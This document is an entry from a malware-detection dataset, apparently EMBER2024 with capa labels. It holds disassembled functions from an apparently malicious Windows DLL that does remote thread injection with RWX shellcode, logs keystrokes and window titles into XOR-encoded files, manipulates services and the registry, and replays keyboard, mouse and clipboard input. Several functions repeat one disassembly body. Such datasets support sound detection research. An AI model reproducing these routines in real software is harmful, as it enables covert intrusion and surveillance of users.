joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005f80
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
push ebp
push esi
push edi
call fcn.10005e20
mov eax, dword [esp + 0x10c]
push eax
call fcn.1000a620
add esp, 4
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
mov dword [esp + 0x10], eax
jne 0x10005fc2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
push str.advapi32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov dword [esp + 0x30], eax
call ebp
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call ebp
push str.kernel32.dll
call ebx
mov edi, eax
push str.Sleep
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call ebp
mov ecx, dword [esp + 0x110]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x40]
push ecx
push edx
call esi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call esi
lea ecx, [esp + 0x40]
lea edx, [esp + 0xa4]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 4
push 0x1000
push 0xf4
push 0
mov esi, dword [esp + 0x20]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call ebx
mov edi, eax
test edi, edi
jne 0x100060e2
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push esi
call ebp
test eax, eax
jne 0x10006109
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push esi
call ebx
mov ebx, eax
test ebx, ebx
jne 0x1000612d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x10005ed0
push ebx
push esi
call ebp
test eax, eax
jne 0x1000614e
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push ebx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x100062a0
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x1001a4b4]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100062ed
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x1000631b
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x1000630f
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call main
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10006350
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x1000649c
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x1000649c
cmp esi, 0x80
ja 0x1000649c
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x1001a4b4]
cmp eax, dword [edx + 8]
je 0x10006446
mov dword [edx + 8], eax
mov ecx, dword [0x1001a4b4]
lea eax, [esp + 0x1c]
push 0x100
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.10006350
mov edx, dword [0x1001a4b4]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x1000645c
push ebx
call fcn.100062a0
mov edx, dword [0x1001a4b4]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x10006487
mov ecx, 0x100
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x1001a4b4]
mov dword [edx], eax
mov edx, dword [0x1001a4b4]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001a4b4]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret
Function at 0x100066f0
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x10014554
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.100067c0
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x1001a4b8], eax
jne 0x10006763
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x10006783
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1001a4b4], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x1000679e
test eax, eax
je 0x10006797
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x100067b2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10006b00
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._flyboy.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push connect
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10006ba2
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10006b8d
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10006b7f
push edi
push esi
mov ecx, ebp
call fcn.10006aa0
push esi
mov edi, eax
call main
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x100071b0
Capabilities:
Delete registry key
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014580
push 0x10011228
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x100071e7
jmp dword [eax*4 + 0x10007330]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x100071e7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x100071e7
cmp edx, 2
jbe 0x10007270
cmp edx, 4
jne case.default.0x100071e7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x100071e7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000731b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100071ee
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014580
push 0x10011228
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x100071e7
jmp dword [eax*4 + 0x10007330]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x100071e7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x100071e7
cmp edx, 2
jbe 0x10007270
cmp edx, 4
jne case.default.0x100071e7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x100071e7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000731b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007296
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014580
push 0x10011228
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x100071e7
jmp dword [eax*4 + 0x10007330]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x100071e7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x100071e7
cmp edx, 2
jbe 0x10007270
cmp edx, 4
jne case.default.0x100071e7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x100071e7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000731b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100072c6
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10014580
push 0x10011228
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x100071e7
jmp dword [eax*4 + 0x10007330]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x24]
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x100071e7
lea ecx, [ebp - 0x24]
push ecx
push 0x2001f
push ebx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x14]
cmp edx, ebx
jbe case.default.0x100071e7
cmp edx, 2
jbe 0x10007270
cmp edx, 4
jne case.default.0x100071e7
push edx
lea ecx, [ebp + 0x1c]
push ecx
push edx
push ebx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
mov esi, dword [ebp + 0x18]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push esi
push edx
push ebx
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea eax, [ebp - 0x24]
push eax
push 0x2001f
push ebx
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x100071e7
jmp 0x100072f4
lea edx, [ebp - 0x24]
push edx
push 0x2001f
push ebx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100071e7
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x100071e7
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.1000731b
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10007340
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x100117ce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10006bc0
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x10014594
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [sym.imp.USER32.dll_LoadCursorA]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x10007407
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x1001458c
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10007463
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10007f50
jmp 0x10007465
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x10007a90
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000a5a0
push ebx
push 0
push 0
push esi
push 0x10007b00
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000a5a0
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10007c00
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x10007db1
call fcn.1000a900
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x10007db1
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x10007c7d
cmp eax, 0x208
ja 0x10007c7d
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x10007d2d
je 0x10007d15
cmp eax, 0x105
ja 0x10007ce9
je 0x10007ccb
sub eax, 0x100
je 0x10007cad
dec eax
je 0x10007ccb
sub eax, 3
jne case.0x10007d37.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007d37.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [sym.imp.USER32.dll_keybd_event]
jmp case.0x10007d37.521
sub eax, 0x201
je 0x10007d06
dec eax
jne case.0x10007d37.521
push 0
push 0
push 0
push 0
push 4
jmp 0x10007d9a
push 0
push 0
push 0
push 0
push 2
jmp 0x10007d9a
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x10007d9a
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x10007d37.521
jmp dword [eax*4 + 0x10007db8]
push 0
push 0
push 0
push 0
push 8
jmp 0x10007d9a
push 0
push 0
push 0
push 0
push 0x10
jmp 0x10007d9a
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x10007d9a
push 0
push 0
push 0
push 0
push 0x20
jmp 0x10007d9a
push 0
push 0
push 0
push 0
push 0x40
jmp 0x10007d9a
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x10007c49
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x10007de0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x10007e48
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x10007e40
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8